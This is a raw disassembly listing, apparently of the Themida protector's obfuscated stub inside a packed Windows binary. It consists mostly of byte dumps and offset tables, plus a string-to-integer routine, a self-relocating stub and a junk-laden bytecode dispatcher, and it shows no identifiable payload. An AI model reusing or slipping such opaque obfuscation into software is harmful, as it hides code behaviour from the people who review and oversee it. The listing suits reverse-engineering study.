507FAh, 8B660000h dd 5B8DAh, 0DE8B0000h, 9D4E9h, 0D958B00h, 8B07FA10h, 0FA2F0D9Dh dd 2F88307h, 113850Fh, 0EFBA0000h, 0B83F5DD1h, 0 dd 5810Fh, 67BA0000h, 0B68B9ADh, 0AC840FC0h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h dd 46000000h, 8A9FC356h, 1F883F0h, 0FF8E840Fh, 6AFFFFh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h dd 37D134C3h, 6181E7A6h, 667BAD86h, 5151DBBAh, 5AD0BF0Fh dd 0F03F883h, 0FFFEEC84h, 0D0B70FFFh, 0E95DB760h, 10h dd 255EC911h, 67E3136Eh, 0E4A1F4C7h, 6623A1ADh, 0B861h dd 0BD890000h, 7FA14DDh, 5850F60h, 0BB000000h, 1A59214Dh dd 0AD8589h, 8D6107FAh, 5B89E0BDh, 59D8B00h, 0FF07FA18h dd 559D89E7h, 8D07FA2Bh, 0FA4780BDh, 11E907h, 0F9E80000h dd 0B2416102h, 367B4BB4h, 95AB3B36h, 0E9BFB804h, 1FBh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 24C35747h dd 0AD958B3Bh, 2907FA0Ch, 0FA2039BDh, 3F88307h, 12850Fh dd 0D88B0000h, 4914BD8Dh, 5B5307FAh, 1BAE9h, 0DEBF0F00h dd 0F05F883h, 4A85h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1D04h, 0C3534300h, 1B5172DDh, 0AD07E373h dd 8501FA32h, 7FA2DE5h, 68E0Fh, 95030000h, 7FA0205h, 84CE9h dd 9E900h, 21F20000h, 0CBDD2CA8h, 8364E753h, 850F06F8h dd 6Ah, 11199D03h, 0BD8D07FAh, 7FA4B0Ch, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 1Ah, 96C35040h, 8997E74Ch dd 10E9CA3Ch, 0D5000000h, 0A55154CDh, 4637899h, 6C97B4FEh dd 0E9D9462Ah, 113h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 14h, 0DFC35242h, 22B1958Bh, 0F88307FAh, 8E850F07h dd 89000000h, 0FA1F798Dh, 959D8B07h, 8D07FA0Ch, 0FA0311BDh dd 56006A07h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h dd 0C3564600h, 6063D5B9h, 214D8D8Bh, 0C4BA07FAh, 614ACDF8h dd 9E9h, 0C55E6900h, 0D30C1BACh, 16E9E4E7h, 6A000001h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h dd 42000000h, 0C94DC352h, 4D2EDF82h, 9BD3160h, 8907FA16h dd 0FA2AD59Dh, 0E9566107h, 8, 0AA59DEF7h, 39BC6D50h, 0AF8835Bh dd 51850Fh, 0D3810000h, 82AC5A2h, 4D04BD8Dh, 0BF0F07FAh dd 3DE9D0h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1D0424h, 56460000h, 2A6DDEC3h, 0D3FD29DDh, 0E9C092E6h dd 13h, 25D36A62h, 55D63781h, 0F7C98899h, 0FAC23544h, 57F5600Ch dd 0B9D08B66h, 505DF03Ah, 3F83D18Bh, 66840F00h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 4DDCC357h, 869005C4h, 8986962Eh, 0FA101D8Dh dd 0E80F3007h, 8, 85336C8Eh, 3821E246h, 234D952Bh, 0D15A07FAh dd 898BBC9h, 0E9476C21h, 0Eh, 0AA065255h, 39266FF7h, 56168C9Eh dd 97E90957h, 89FFFFFFh, 0FA2E91B5h, 0BF0F5F07h, 0BD89D2h dd 0BA07FA4Fh, 5345BDE9h, 1FA18D8Dh, 0FFFC07FAh, 0FA0EBDB5h dd 53006A07h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h dd 0C3534300h, 74A672B0h, 893EE6A7h, 0FA2EB185h, 8A858D07h dd 5007FCD3h, 56FDBD8Dh, 8D8D07FAh, 7FA7002h, 831ABCB8h dd 30CF2B54h, 47C8D007h, 8DF87549h, 0FA6FA4B5h, 1A8D8D07h dd 2B07FA70h, 33A4F3CFh, 0B8C9h, 0C00B0000h, 0BD834674h dd 7FA2BE9h, 0FF067400h, 0FA312595h, 0B58B07h, 8D07FA4Fh dd 0FCD38A85h, 8DD0FF07h, 0FA435485h, 0C7D0FF07h, 0FA067185h dd 107h, 0B1A58B00h, 8B07FA2Dh, 0FA32C5B5h, 0D5AD8B07h dd 3307FA1Dh, 0CC2C0h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ah, 4AC35646h, 0E79EA282h, 6A9209h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 0D7B731C3h, 1B8A4EBEh, 0E860C832h, 0Fh, 2E343835h, 0BF8A0AD4h dd 2904E432h, 52730916h, 81B25F5Eh, 0F1BD8361h, 7FA26h dd 2B840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1D0424h, 53430000h, 6F6A36C3h, 711C1213h, 0FF769851h dd 0FA152195h, 5BD8307h, 7FA2Ch, 1BA850Fh, 0BF0F0000h dd 0EDBD83DFh, 107FA33h, 1AA850Fh, 870F0000h, 6, 2FA99D8Bh dd 6ABA07FAh, 830C163Ch, 0FA000DBDh, 840F0007h, 18Ch, 2405D281h dd 85890F7Eh, 7FA29C9h, 4F53BD83h, 0F0007FAh, 17384h, 858B6000h dd 7FA296Dh, 0E024BF66h, 8A858D61h, 6A07FCD3h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h dd 0BE0AC356h, 3F14CC0Bh, 0A98D890Eh, 8B07FA23h, 0FA4F00B5h dd 0FFF48A07h, 89D8B2D0h, 0FA0D598Dh, 6585C607h, 5407FA06h dd 0E8D8B70Fh, 4, 0FF4EBEF4h, 2850Fh, 0D68B0000h, 0FE32BB50h dd 448B26DCh, 54B70424h, 6053008Bh, 61D78B66h, 2444895Bh dd 7EB66004h, 0FB8B5250h, 5A56310Fh, 5861585Ah, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0E1C35646h, 12DCABF4h dd 0A5B5FF5Fh, 6A07FA08h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1A042444h, 46000000h, 0A63AC356h, 52496C0Ch dd 0D3BA6612h, 0E2858DDFh, 6A07FA3Ah, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 30A9C353h dd 3829DE87h, 13DB93B8h, 5E9h, 0DFA61F00h, 0D0FFF162h dd 22E19D8Bh, 6A07FAh, 0FF6A6DB3h, 0F88AD0FFh, 212DB5FFh dd 6A07FAh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h dd 56460000h, 816698C3h, 0FFCF88D3h, 0FA0EBD95h, 53006A07h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 0B173519Ah, 0C1E68027h, 4F00B58Bh, 958907FAh, 7FA2955h dd 2C9D9D8Bh, 6AC307FAh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 15042444h, 45000000h, 1949C355h, 1615B58Bh dd 0B52907FAh, 7FA0CCDh, 840FF60Bh, 28h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 17h, 0DFC35646h, 0C6ACE145h dd 0B5010006h, 7FA15E5h, 4F088589h, 0FE807FAh, 0A0000000h dd 231C79Ah, 934B8C69h, 4526539Ch, 810FE972h, 6, 16ED9501h dd 835A07FAh, 840F00F8h, 34Ah, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Dh, 4DC35040h, 226C6FFDh, 24B2D189h dd 0A19D8BF2h, 0B807FA0Fh, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0E3C35242h dd 0F59743A5h, 0AD85896Dh, 8307FA25h, 840F00F8h, 9Ch, 5860Fh dd 8ABA0000h, 83508982h, 850F02F8h, 4Fh, 6860Fh, 95030000h dd 7FA145Dh, 4583858Dh, 820F07FAh, 3, 2D36E280h, 929h dd 8BCF8A60h, 0FA14B9B5h, 0E8506107h, 0Bh, 0F6E873B2h dd 0DB42AA63h, 66289700h, 895BD08Bh, 0BF0F2404h, 5EB2C3D3h dd 18E0Fh, 0B8FC0000h, 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 6CC35646h dd 13D580Fh, 0FCD4C8CDh, 85C3ABBAh, 254E951h, 9D8B0000h dd 7FA001Dh, 1B8h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1C04h, 0C3554500h, 6CC9DF93h, 59FCF4F4h dd 8D958B68h, 8D07FA27h, 0FA4588BDh, 52006A07h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 0D74A33DBh dd 0F1A9965Bh, 6E9h, 0C773BF00h, 0E9775C70h, 0B2h, 1F59958Bh dd 0BD0107FAh, 7FA00D1h, 0F02F883h, 6685h, 0A1BB6600h dd 80BD8D31h, 0E807FA47h, 10h, 4AA3EFE3h, 0CC9BF27h, 5584719h dd 3E73082Ch, 5E8h, 0EAEC6D00h, 28BA828Ch, 5A671170h, 68E95Ah dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h dd 56460000h, 850F22C3h, 3, 0FD9B70Fh, 682h, 259D8B00h dd 8307FA06h, 850F03F8h, 14h, 0BD8DD68Bh, 7FA4914h, 0E9D6B70Fh dd 1Eh, 0E7CDBA66h, 0F05F883h, 1185h, 93E900h, 95290000h dd 7FA291Dh, 1E799589h, 895707FAh, 0FA18E585h, 0F03AB907h dd 890F505Dh, 3, 83DEB70Fh, 840F003Fh, 69h, 2E1958Bh, 9D8B07FAh dd 7FA2B19h, 6A0F30h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 140424h, 56460000h, 8B6665C3h, 6AC9D1D1h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h dd 5B5CC351h, 0DA97A265h, 47E62CBBh, 3820Fh, 8B660000h dd 0FF95E9DEh, 0DE80FFFFh, 0B1BB66FFh, 5F8834Fh, 0A4850Fh dd 0DE80000h, 71000000h, 86BB725h, 3683F648h, 0B2EF5AEh dd 2779958Bh, 665A07FAh, 9529D98Ch, 7FA0DD9h, 0F04C1F6h dd 6885h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1704h, 0C3574700h, 111FF1E0h, 10D9D8Bh, 0B807FAh, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h dd 46000000h, 83D9C356h, 36068B3h, 0FA204595h, 0BDEF8107h dd 61438784h, 25718D89h, 17E907FAh, 33000000h, 0FA17F995h dd 0E9858B07h, 0F07FA29h, 0E0FFD3B7h, 0B3D8D89h, 0BD8307FAh dd 7FA0EBDh, 0E1850F00h, 0BA000000h, 5373E0E0h, 7E850h dd 664F0000h, 6C871EE0h, 3339BBFAh, 895B2955h, 6A2404h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 0BA6694C3h, 85C6A7C9h, 7FA0665h, 52006A45h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 6628011Eh dd 0CA81D78Bh, 2A299BBh, 0B76BB568h, 0D88B66C3h, 0DC243481h dd 8B4DC502h, 0A5B5FFD9h, 8907FA08h, 0FA11A1BDh, 0E2858D07h dd 0E907FA3Ah, 9, 1A63A6BBh, 0A9BB6DA9h, 89D0FFECh, 0FA17BD8Dh dd 0BD858907h, 6A07FA0Eh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 18042444h, 43000000h, 467DC353h, 8B4CF82Ah dd 0FA33C595h, 8C0F5807h, 0Ch, 6800Fh, 8A0F0000h, 0 dd 4F57BD83h, 0F0007FAh, 2484h, 0DEBF0F00h, 8B7EB960h dd 958B163Bh, 7FA1CFDh, 2DB5FF61h, 8007FA21h, 95FFB8DFh dd 7FA0EBDh, 90C38166h, 0F883F2h, 0EC850Fh, 0BD830000h dd 7FA0789h, 7C840F00h, 0E9000000h, 0Ah, 1F6381D9h, 262CFB53h dd 0D98BBBA8h, 789B5FFh, 0BD8907FAh, 7FA1E55h, 0CE8h, 0C3966500h dd 13C8526Fh, 0EF2F45D5h, 0EE8FFh, 0EC2C0000h, 522D593Bh dd 0AD1ADF0Eh, 650C7587h, 165958Bh, 5A5B07FAh, 1B8h, 0BE900h dd 0CC4A0000h, 4DE2805h, 5C8E138Bh, 207E9B5h, 14E90000h dd 0D2000000h, 3382A06h, 0C89597E3h, 64884E0Ch, 0C5580728h dd 0FFB2ACE6h, 0FA212DB5h, 68B0F07h, 31000000h, 0FA298D95h dd 2DB5FF07h, 6A07FA21h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 17042444h, 45000000h, 0E3D5C355h, 0AE95C41h dd 0E3000000h, 14A29061h, 6FA97C25h, 0BDB5FF18h, 0E907FA0Eh dd 0Ah, 0F842497Ch, 2FAC39B4h, 8EE9E26Ch, 66000001h, 8B5FD38Bh dd 0FA158595h, 0E5BD8307h, 7FA2Ah, 0B4850Fh, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 14B8AC3h, 98EE8AD3h, 0B719D89h, 85C607FAh, 7FA0665h dd 50006A4Dh, 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h dd 0C3504000h, 0B70F62BDh, 83F968DEh, 8B666DCFh, 240481D6h dd 3665F2AFh, 2D4D9D8Bh, 0B5FF07FAh, 7FA0515h, 11A1958Bh dd 858D07FAh, 7FA3AE2h, 33F98501h, 0D0FF07FAh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0F8C35141h, 9B8B6C26h dd 0B5319403h, 7FA30CDh, 2AE58589h, 8B0F07FAh, 2, 0B852B3h dd 0B3000000h, 0BD892Eh, 6A07FA4Fh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 0D3F3C352h dd 0CAE5601Ch, 49DC9887h, 195BD89h, 0CE8007FAh, 0FC00B7Eh dd 2884h, 85895300h, 7FA1895h, 73E95Ah, 0FE80000h, 0CA000000h dd 0F91B2736h, 6AE03203h, 5D8436E9h, 952912C2h, 7FA0FE5h dd 0BDB5FF5Ah, 2907FA0Eh, 0FA2689B5h, 8A858D07h, 6A07FCD3h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h dd 46000000h, 4DE9C356h, 0AE850F5h, 0FF000000h, 0F755AC9Fh dd 0B00BE280h, 0F0BB667Bh, 4895AF8h, 5E924h, 68240000h dd 8B84D9BEh, 0FA0CE99Dh, 8D565007h, 0FA56FDBDh, 658D8D07h dd 0B807FA7Ah, 748323BCh, 730CF2Bh, 4947C8D0h, 585EF875h dd 789BD83h, 740007FAh, 98D8B06h, 3307FA10h, 0B8C9h, 0C00B0000h dd 0A8840Fh, 0BD830000h, 7FA2BE9h, 0FF067400h, 0FA312595h dd 0B807h, 0C00B0000h, 0BD830975h, 7FA4F08h, 83097401h dd 0FA4F08BDh, 0E750207h, 4F00B58Bh, 858D07FAh, 7FCD38Ah dd 0BD83D0FFh, 7FA26F1h, 0FF067400h, 0FA152195h, 54858D07h dd 0FF07FA43h, 75BD83D0h, 207FA0Bh, 0A58B2F75h, 7FA2DB1h dd 789858Bh, 48907FAh, 7185C724h, 107FA06h, 8B000000h dd 0FA4F04B5h, 0D5AD8B07h, 0B807FA1Dh, 1, 0EB000CC2h, 7185C700h dd 107FA06h, 8B000000h, 0FA2DB1A5h, 0C5B58B07h, 8B07FA32h dd 0FA1DD5ADh, 0C2C03307h, 0BD83000Ch, 7FA26F1h, 830F7400h dd 0FA1521BDh, 6740007h, 152195FFh, 0B58B07FAh, 7FA4F00h dd 18810FC3h, 0E8000000h, 0Ch, 0C8AE73F8h, 65B218FFh, 49155953h dd 2C58D89h, 0F5A07FAh, 0BADEBFh, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h dd 0D6BEC355h, 5648683Eh ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push edi push edx push esi mov edi, [ebp+8] xor eax, eax jmp short loc_58AFEC ; --------------------------------------------------------------------------- loc_58AFEA: ; CODE XREF: Themida_:0058AFEFj inc eax inc edi loc_58AFEC: ; CODE XREF: Themida_:0058AFE8j cmp byte ptr [edi], 0 jnz short loc_58AFEA xor ecx, ecx mov edi, [ebp+8] jmp short loc_58B01B ; --------------------------------------------------------------------------- loc_58AFF8: ; CODE XREF: Themida_:0058B01Dj xor edx, edx mov dl, [edi] sub dl, 30h mov esi, eax dec esi push eax mov eax, edx push ebx mov ebx, 0Ah jmp short loc_58B010 ; --------------------------------------------------------------------------- loc_58B00D: ; CODE XREF: Themida_:0058B013j mul ebx dec esi loc_58B010: ; CODE XREF: Themida_:0058B00Bj cmp esi, 0 ja short loc_58B00D pop ebx add ecx, eax pop eax inc edi dec eax loc_58B01B: ; CODE XREF: Themida_:0058AFF6j or eax, eax jnz short loc_58AFF8 mov eax, ecx pop esi pop edx pop edi pop ecx leave retn 4 ; --------------------------------------------------------------------------- db 0Fh, 88h, 6 dd 8B000000h, 0FA14359Dh, 13E907h, 0D7380000h, 150DEEB9h dd 3C195325h, 4895177Ah, 5030FCFDh, 0E9C18BF3h, 24DF0h dd 12FEF4h, 6092B1h, 607876h, 26D0023h, 12FFE0h, 26D001Bh dd 6092B1h, 212h, 2, 2 dup(1), 0F85E3441h, 5 dup(0) dd offset word_58DD06 dd offset byte_58BC2D dd offset dword_590F10 dd offset byte_59825F dd offset byte_593BF7 dd offset word_58B8BE dd offset loc_58F3A6 dd offset aRslj ; "RИLJ" dd offset dword_596704 dd offset word_58B7DE dd offset word_58B802 dd offset byte_58D671 dd offset byte_592D55 dd offset byte_5916BD dd offset loc_58CE42 dd offset word_59154E dd offset byte_58FB9F dd offset word_58B6FE dd offset byte_592E4B dd offset aMs?j ; "╛И?J" dd offset byte_596349 dd offset dword_58EE9C dd offset dword_592614 dd offset aN1HI ; "╜1ьh&I" dd offset aMfss ; "╛fSИ>\a" dd offset byte_596EE3 dd offset dword_58FF14 dd offset dword_597C38 dd offset byte_59739F dd offset byte_58F223 dd offset byte_591895 dd offset byte_5980B3 dd offset byte_5941E1 dd offset byte_58CA6B dd offset byte_597D9D dd offset byte_59196D dd offset byte_58CA8D dd offset word_5955EE dd offset word_58E916 dd offset word_595C1A dd offset word_594EEA dd offset byte_58D801 dd offset byte_58D5C3 dd offset dword_58E1C8 dd offset byte_592C91 dd offset byte_58EE77 dd offset byte_597C61 dd offset off_592564 dd offset word_592196 dd offset word_595AE2 dd offset dword_593378 dd offset byte_58B98F dd offset byte_597C7B dd offset byte_593E6B dd offset byte_58B64F dd offset byte_5959CB dd offset loc_58DD70 dd offset loc_598588 dd offset word_592242 dd offset byte_592EEB dd offset byte_59248D dd offset word_592302 dd offset byte_596131 dd offset dword_58EE14 dd offset byte_59707B dd offset byte_593563 dd offset dword_58E4E8 dd offset word_590B8E dd offset byte_58D61F dd offset byte_594359 dd offset byte_595FEB dd offset byte_598565 dd offset byte_594883 dd offset byte_5982D7 dd offset word_58FDA2 dd offset byte_592B15 dd offset byte_592A1D dd offset dword_58D828 dd offset byte_591BEB dd offset byte_5922E9 dd offset byte_58EABF dd offset word_590C22 dd offset byte_596241 dd offset dword_5902D0 dd offset word_590792 dd offset byte_58FD91 dd offset word_591526 dd offset loc_59553C dd offset dword_5962B8 dd offset byte_58CF35 dd offset word_592ADE dd offset word_5927AE dd offset byte_58BF03 dd offset word_596DC2 dd offset byte_594B57 dd offset byte_5903B5 dd offset byte_5934BD dd offset dword_58F208 dd offset byte_593461 dd offset loc_58D888 dd offset byte_590A85 dd offset dword_59409C dd offset loc_58CC57 dd offset word_59245A dd offset word_59610E dd offset dword_58E610 dd offset byte_59134D dd offset byte_59770B dd offset dword_594BDC dd offset word_593DEE dd offset word_5910FE dd offset byte_58F9AF dd offset aMhdv ; "╛hdv" dd offset word_595A4E dd offset dword_58CA0C dd offset dword_5981C8 dd offset byte_5937D3 dd offset byte_595F9D dd offset byte_590F3B dd offset loc_5957EB dd offset dword_590E8C dd offset word_58F4EA dd offset word_58CA1E dd offset byte_58D3C7 dd offset word_58DEDE dd offset dword_5974A0 dd offset byte_58B657 dd offset dword_593318 dd offset byte_59298B dd offset byte_58DFF5 dd offset byte_594D77 dd offset byte_594E73 dd offset byte_58EFBD dd offset dword_596994 dd offset byte_5942A7 dd offset dword_58B75C dd offset byte_594205 dd offset byte_58D6AB dd offset word_594036 dd offset dword_58F474 dd offset dword_598340 dd offset word_597E76 dd offset word_597B86 dd offset aMsfs ; "╛И■s" dd offset dword_59501C dd offset aNwsY ; "╜WИ╦y" dd offset byte_5951ED dd offset aN1RNhBAhUh ; "╜1ьR╨╧NH&│бahхuh$\"" dd offset dword_58EFE8 dd offset byte_595C3F dd offset dword_594E7C dd offset dword_5935E0 dd offset byte_596A73 dd offset byte_597D1B dd offset word_595AA6 dd offset word_596AB2 dd offset aMAssz ; "╛,МИsz" dd offset word_591D12 dd offset dword_594780 dd offset word_58C596 dd offset dword_58B4E8 dd offset byte_592B33 dd offset byte_58DCC1 dd offset word_592CEE dd offset byte_590EE3 dd offset word_59536A dd offset byte_59170D ; --------------------------------------------------------------------------- loc_58B334: ; CODE XREF: Themida_:005BD2D9j ; Themida_:005C0909j ... pusha pushf cld call $+5 pop edi sub edi, 7FA7EFBh mov eax, edi add edi, 7FA7C13h cmp eax, [edi+2Ch] jnz short loc_58B352 jmp short loc_58B365 ; --------------------------------------------------------------------------- loc_58B352: ; CODE XREF: Themida_:0058B34Ej mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_58B361 ; --------------------------------------------------------------------------- loc_58B35C: ; CODE XREF: Themida_:0058B363j add [edi+ecx*4+40h], eax dec ecx loc_58B361: ; CODE XREF: Themida_:0058B35Aj or ecx, ecx jnz short loc_58B35C loc_58B365: ; CODE XREF: Themida_:0058B350j mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_58B372: ; CODE XREF: Themida_:0058B379j xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_58B372 loc_58B37B: ; CODE XREF: Themida_:0058B45Cj ; Themida_:0058B5C5j ... lodsb sub al, 94h add al, 0BEh sub al, bl sub esp, 4 jmp loc_5960AC ; --------------------------------------------------------------------------- loc_58B38A: ; CODE XREF: Themida_:00596FB8j sub edx, 37704DADh add edx, eax add edx, 37704DADh push eax mov eax, 22434C48h push ecx jmp loc_5917AA ; --------------------------------------------------------------------------- loc_58B3A4: ; CODE XREF: Themida_:0058C7DCj and al, 35h sub al, 63h add bh, al pop eax and al, bh pop ebx sub al, 0FEh xor dh, al mov eax, [esp] add esp, 4 jmp loc_58C01B ; --------------------------------------------------------------------------- loc_58B3C0: ; CODE XREF: Themida_:005967CFj sub eax, ebx pop ebx xchg eax, [esp] jmp loc_593069 ; --------------------------------------------------------------------------- loc_58B3CB: ; CODE XREF: Themida_:00596FC7j push esp pop ecx push 47Ah mov [esp], eax mov eax, 4 add ecx, eax mov eax, [esp] add esp, 4 sub ecx, 2 push ecx push dword ptr [esp+4] push dword ptr [esp] pop ecx add esp, 4 pop dword ptr [esp] mov esp, [esp] jmp loc_594127 ; --------------------------------------------------------------------------- loc_58B402: ; CODE XREF: Themida_:0058F556j mov ebp, edx pop edx sub esp, 4 mov [esp], ebp push edi push eax mov eax, 774D5077h and eax, 77C95CF7h and eax, 461B4D2Eh jmp loc_590B5E ; --------------------------------------------------------------------------- loc_58B421: ; CODE XREF: Themida_:00592FE5j push eax jmp loc_596CD6 ; --------------------------------------------------------------------------- loc_58B427: ; CODE XREF: Themida_:00594056j add edx, esi jmp loc_591302 ; --------------------------------------------------------------------------- loc_58B42E: ; CODE XREF: Themida_:00591A62j mov ebp, 31552CF4h jmp loc_595085 ; --------------------------------------------------------------------------- aRGEpsq9 db 'R╨G%#EPИ÷9',0 align 4 dd 5A5BD988h, 125CE9h db 0 ; --------------------------------------------------------------------------- loc_58B44D: ; CODE XREF: Themida_:0059194Bj pop edx add esi, ebp pop ebp add esi, 2 xchg esi, [esp] pop esp shl dword ptr [esp], cl pushf jmp loc_58B37B ; --------------------------------------------------------------------------- loc_58B461: ; CODE XREF: Themida_:loc_58F91Aj or ebp, 5D4D7C8Eh jno loc_58BF80 sub ebp, 0FF7D7ECDh mov bl, 6Ah pop edx dec ecx or ecx, 18B032E8h shr ecx, 3 not ecx xor ecx, 0A8687ABEh add edx, ecx jmp loc_590421 ; --------------------------------------------------------------------------- loc_58B490: ; CODE XREF: Themida_:00596878j mov edi, [esp] jmp loc_59258F ; --------------------------------------------------------------------------- loc_58B498: ; CODE XREF: Themida_:0058BF8Cj inc ah jmp loc_5970AA ; --------------------------------------------------------------------------- db 0B9h dd 5E936540h, 4244C29h, 19D3E959h, 0C4830000h, 0C7EB8004h dd 0FE24B252h, 0D8C280C2h, 805AD328h, 0EB805FC3h, 80C3283Ch dd 0B5513CC3h, 52EDD0CCh, 0EA8025B2h, 6405E993h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58B4DA: ; CODE XREF: Themida_:00593D8Ej sub esp, 4 mov [esp], edx jmp loc_595CF5 ; --------------------------------------------------------------------------- dword_58B4E8 dd 240C8B66h, 81E28952h, 4C2h, 4EA8100h, 87000000h, 0E95C2414h ; DATA XREF: Themida_:0058B318o dd 88B1h ; --------------------------------------------------------------------------- loc_58B504: ; CODE XREF: Themida_:00594DB5j shl dh, 5 xor dh, 9Fh sub al, dh pop edx push dword ptr [esp] jmp loc_58FCBC ; --------------------------------------------------------------------------- loc_58B515: ; CODE XREF: Themida_:00590A80j push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push edx mov edx, esp add edx, 4 jmp loc_596A39 ; --------------------------------------------------------------------------- loc_58B536: ; CODE XREF: Themida_:0058F813j jns loc_58D521 push ebx mov ebx, 1F374C07h not ebx jmp loc_58E848 ; --------------------------------------------------------------------------- loc_58B549: ; CODE XREF: Themida_:0059476Dj mov ebx, 1AAF41A2h mov ebp, 966A931Ch jmp loc_597540 ; --------------------------------------------------------------------------- dd 0F868h, 24148900h, 4EC8350h, 0BF243C89h, 6FCE3266h dd 5DE8E9h db 0 ; --------------------------------------------------------------------------- loc_58B571: ; CODE XREF: Themida_:005946AAj pop ecx jmp loc_595797 ; --------------------------------------------------------------------------- db 5 dd 32030305h, 0E92434FFh, 8F2Eh, 7B2F685Ah, 2C890000h dd 3622BD24h, 0C5816FADh, 0ED1D4834h, 685DE801h, 3F4Ah dd 0BD242C89h, 115568D5h, 23CAC581h, 0F5817C0Dh, 261C07A8h dd 0DA8E9h db 0 ; --------------------------------------------------------------------------- loc_58B5B9: ; CODE XREF: Themida_:00597BE2j mov ecx, esp jmp loc_58E7D8 ; --------------------------------------------------------------------------- loc_58B5C0: ; CODE XREF: Themida_:0058EF02j pop esp sar dword ptr [esp], cl pushf jmp loc_58B37B ; --------------------------------------------------------------------------- dw 5854h dd 4BB53h, 0BF050000h, 0E9266A71h, 28Eh ; --------------------------------------------------------------------------- loc_58B5DC: ; CODE XREF: Themida_:00590625j add esp, 4 jmp loc_58D5E0 ; --------------------------------------------------------------------------- loc_58B5E4: ; CODE XREF: Themida_:005920E0j mov [esp], ebx push ebp jmp loc_5984DF ; --------------------------------------------------------------------------- loc_58B5ED: ; CODE XREF: Themida_:00593D24j ; Themida_:00595533j shr eax, 7 jnp loc_591E76 jmp loc_593B57 ; --------------------------------------------------------------------------- db 5Bh dd 8B5EF289h db 0CBh, 5Ah ; --------------------------------------------------------------------------- loc_58B602: ; CODE XREF: Themida_:005937B3j pop dword ptr [esp] pop esp mov [esp], ecx jmp loc_5940F5 ; --------------------------------------------------------------------------- dw 0EC83h dd 4F6AE904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58B616: ; CODE XREF: Themida_:0058BB60j add dh, ch jmp loc_5918F5 ; --------------------------------------------------------------------------- loc_58B61D: ; CODE XREF: Themida_:00593F8Cj xor edx, 36793F3Fh jge loc_594C67 push esi jmp loc_5915E2 ; --------------------------------------------------------------------------- db 0C1h dd 0BB5306E1h, 77453FA6h, 0D222F581h, 1BE9FF81h db 0Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_58B643: ; CODE XREF: Themida_:0058FCABj pop esp add ebx, 4 jmp loc_58BDCF ; --------------------------------------------------------------------------- byte_58B64F db 64h ; DATA XREF: Themida_:0058B170o dd 0F2E932FFh db 2Eh, 2 dup(0) byte_58B657 db 83h ; DATA XREF: Themida_:0058B290o dd 248904ECh, 4B95124h, 81000000h, 93042444h, 0E9349417h dd 2426h ; --------------------------------------------------------------------------- loc_58B670: ; CODE XREF: Themida_:005905C6j push edx mov edx, 129628F7h jmp loc_58F6F8 ; --------------------------------------------------------------------------- loc_58B67B: ; CODE XREF: Themida_:0058EC9Cj sub bl, dl jmp loc_58E671 ; --------------------------------------------------------------------------- dw 0C281h dd 4, 8A6DE9h, 24348B00h, 3AA7E9h, 74FF5700h, 3C8B0424h dd 4C48324h, 8B24048Fh, 0C892424h, 45A5E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58B6AE: ; CODE XREF: Themida_:loc_594D2Ej ; Themida_:00595965j sub edx, esi pop esi sub ebp, 34D418EFh add ebp, edx add ebp, 34D418EFh pop edx xchg ebp, [esp] jmp loc_58FE37 ; 